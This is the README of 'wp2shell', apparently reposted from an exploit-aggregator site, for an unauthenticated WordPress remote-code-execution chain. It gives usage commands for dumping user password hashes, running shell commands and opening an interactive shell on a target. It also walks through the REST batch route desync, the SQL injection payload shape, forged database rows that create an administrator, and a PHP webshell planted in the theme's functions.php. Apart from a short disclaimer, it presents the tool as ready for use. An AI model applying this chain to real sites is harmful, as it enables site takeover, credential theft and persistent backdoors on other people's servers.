Share
## https://sploitus.com/exploit?id=12FF093C-0B3F-52E7-900B-A2BEE8794679
# wp2shell โ€” CVE-2026-63030 + CVE-2026-60137

**One-day WordPress RCE exploit chain. Unauthenticated. CVSS 9.8.**

Zero dependencies โ€” Python 3.8+ stdlib only.

## Affected Versions

| Branch  | Vulnerable         | Patched |
|---------|--------------------|---------|
| 6.9.x   | 6.9.0 โ€“ 6.9.4      | โ‰ฅ 6.9.5 |
| 7.0.x   | 7.0.0 โ€“ 7.0.1      | โ‰ฅ 7.0.2 |

## The Chain

Two CVEs chained into unauthenticated Remote Code Execution:

```
CVE-2026-63030 (route confusion)  โ†’  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    โ†’  author__not_in sinks raw into SQL
           โ†“
   UNION-forge WP_Post rows  โ†’  customizer changeset bridge  โ†’  admin created
           โ†“
   Login as admin  โ†’  theme editor  โ†’  webshell  โ†’  RCE
```

| Step | CVE | Vector |
|------|-----|--------|
| 1 | CVE-2026-63030 | REST `/batch/v1` index misalignment desyncs validation from dispatch |
| 2 | CVE-2026-60137 | `author__not_in` WP_Query param skips `absint()` when passed as string |
| 3 | โ€” | UNION SELECT forges `wp_posts` rows; oEmbed โ†’ customizer โ†’ `wp_insert_user` |
| 4 | โ€” | Authenticate as the newly created administrator |
| 5 | โ€” | Theme editor injects token-protected webshell into active theme |

## Quick Start

```bash
# Probe only โ€” non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check

# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users

# Full chain: SQLi โ†’ admin โ†’ webshell โ†’ command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell

# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Skip pre-auth bridge โ€” use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
```

## Options

```
--url URL          Target WordPress base URL (required)
--check            Probe only โ€” do not exploit
--dump-users       Extract all user credentials via UNION SQLi
--read SQL         Read a scalar SQL expression from the database
--cmd CMD          Run a shell command on the target
--shell            Open an interactive shell
--user USER        Admin username (skip pre-auth admin creation)
--password PASS    Admin password (use with --user)
--proxy URL        HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC      Request timeout (default: 30)
--no-cleanup       Leave webshell and admin user on target
```

## How It Works

### Route Confusion (CVE-2026-63030)

WordPress's batch endpoint at `/?rest_route=/batch/v1` accepts an array of sub-requests. When a sub-request has an unparseable path (`///`), a `WP_Error` is added to `$validation` but **not** `$matches`. The dispatch loop then pairs request `N` with handler `N+1` โ€” so a request **validated** against one schema is **dispatched** to a different handler.

The exploit sends a 3-layer nested batch where each layer uses a desync primer at position 0 to shift indices. The innermost request โ€” validated as a single-post item (`GET /wp/v2/posts/999999`) โ€” lands on the collection handler (`posts->get_items()`). Since the item schema doesn't define `author_exclude`, the parameter passes through unvalidated.

### SQL Injection (CVE-2026-60137)

`get_items()` maps `author_exclude` โ†’ `author__not_in` and passes it to `WP_Query`. When `author__not_in` is a string (not an array), the `array_map('absint', โ€ฆ)` block is skipped. The raw string lands directly in:

```sql
WHERE post_author NOT IN ()
```

The payload `0) UNION ALL SELECT โ€ฆ-- -` closes the `NOT IN` list and appends arbitrary SQL.

### UNION Extraction

WordPress 7.0.x `wp_posts` has exactly 23 columns. By injecting a forged row via `UNION ALL SELECT` with `orderby=none` (suppresses the trailing `ORDER BY`) and `per_page=500` (keeps WP_Query in full-row mode), the forged post title โ€” carrying a `||HEX||` marker โ€” is reflected in the REST response. All string values use MySQL hex literals (`0xโ€ฆ`) to avoid quote-escaping issues through URL encoding.

### Pre-Auth Admin Creation

1. UNION-forge a post containing `[embed]` shortcodes โ†’ WordPress creates 3 `oembed_cache` rows
2. Read the 3 cache post IDs back via UNION extraction
3. UNION-forge 7 structured `wp_posts` rows forming a customizer changeset chain
4. The `[embed]` shortcode renders, triggering `WP_Embed::shortcode()` โ†’ `wp_update_post()` โ†’ `WP_Customize_Manager` โ†’ `wp_insert_user()`
5. Administrator created with a random username (`wp2_`) and password (`Wp2!`)

### Webshell Deployment

Login as the new admin โ†’ extract theme editor nonce โ†’ inject token-protected PHP webshell at the **top** of the active theme's `functions.php` โ†’ access via `?t=&c=`.

## Requirements

- Python 3.8 or later
- **Zero external dependencies** โ€” uses only stdlib (`urllib`, `json`, `re`, `hashlib`, `secrets`, `html`)
- Target must have at least one published post or page (for oEmbed cache seeding)

## Limitations

- **Docker loopback**: WordPress's file editor performs a `wp_remote_post()` loopback check before saving. If the container cannot reach itself by hostname, the theme edit is blocked. Use `--dump-users` + manual login in those cases.
- **No published posts**: The oEmbed cache seed requires at least one public permalink. A blank WordPress install after setup has both "Hello world!" and "Sample Page".
- **WAF / mod_security**: Heavy request filtering may block the nested batch payloads. Test with `--check` first.

## Verification

```
$ python3 exploit.py --url http://target --check
[+] VULNERABLE โ€” route-confusion behavior detected!
[+] UNION SQLi extraction confirmed โ€” in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...
```

## Disclaimer

This tool is for authorized security research and educational purposes only. Use only against systems you own or have explicit permission to test. The authors assume no liability for misuse.

## Credits

- [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) โ€” original PoC and research
- [WPScan](https://wpscan.com) โ€” CVE disclosure (CVE-2026-63030, CVE-2026-60137)
- [NVD](https://nvd.nist.gov) โ€” CVE database

## License

MIT